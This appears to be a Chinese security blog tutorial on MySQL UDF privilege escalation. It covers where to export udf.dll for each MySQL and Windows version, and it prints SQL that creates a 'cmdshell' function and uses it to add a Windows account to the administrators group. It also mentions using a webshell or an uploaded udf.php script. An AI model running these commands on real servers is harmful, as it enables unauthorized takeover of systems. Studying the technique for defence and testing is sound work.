MySQL之UDF提权原理及实现

  • A+
所属分类:安全文章

   关于UDF提权,也是现在比较常见的MySQL类提权方式之一。它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库!这样一来我们就可以利用 system权限进行提权操作了!

 在开始进行UDF提权前,我们有必要先了解下提权对象的系统版本及MySQL数据库的版本信息。因为对于不同的版本,操作手法也不近相同!

数据库版本为 5.0 以下的:

如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导出到 C:Winntudf.dll 下。

如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:Windowsudf.dll 下。


数据库版本为 5.1 以上的:

我们则需要将 dll 文件导出到 mysql 安装目录的 libplugin 下,才能创建自定义函数。注:如果没有 plugin 目录,我们可以进行手动创建!

我们可以使用’@@ plugin_dir’全局变量找到该目录

MySQL之UDF提权原理及实现

同样这里,我们也有两种方式进行 UDF的提权:

(一).通过大马的MySQL提权功能,成功导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd 命令,来执行提权操作。注:在此之前,我们应执行版本查看语句,来确认当前MySQL的版本信息!

net user secist secist.com /add

net localgroup administrators secist /add

(二).直接在目标服务器上传 udf.php 此类的提权脚本提权。

方法是一样的,先导出 dll 文件到正确位置。

MySQL之UDF提权原理及实现

再在自定义SQL语句执行框内,执行以下命令,来创建调用函数并进行提权!

MySQL之UDF提权原理及实现

create function cmdshell returns string soname ‘udf.dll’; 创建 cmdshell 调用函数select cmdshell(‘net user secist secist.com /add’); 添加用户select cmdshell(‘net localgroup administrators secist /add’); 将用户加到管理组drop function cmdshell; 删除函数delete from mysql.func where name=’cmdshell’  删除函数

以下是我自己搭建的服务器的演练过程

MySQL之UDF提权原理及实现

host:填写服务器ip

name:mysql的账号

pass:mysql的密码

dbname:数据库名

提交后是如下界面:

MySQL之UDF提权原理及实现

MySQL之UDF提权原理及实现

执行命令:

MySQL之UDF提权原理及实现


查看用户:

MySQL之UDF提权原理及实现

添加超级管理员

MySQL之UDF提权原理及实现


本文始发于微信公众号(LemonSec):MySQL之UDF提权原理及实现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: